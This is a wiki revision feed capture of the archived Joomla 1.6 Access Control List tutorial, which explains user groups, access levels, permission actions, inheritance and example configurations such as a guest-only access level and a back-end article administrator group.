The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62302</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62302"/>
		<updated>2011-09-26T04:06:35Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Users, Groups, and Access Levels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
! Version 1.5&lt;br /&gt;
! Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
| Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
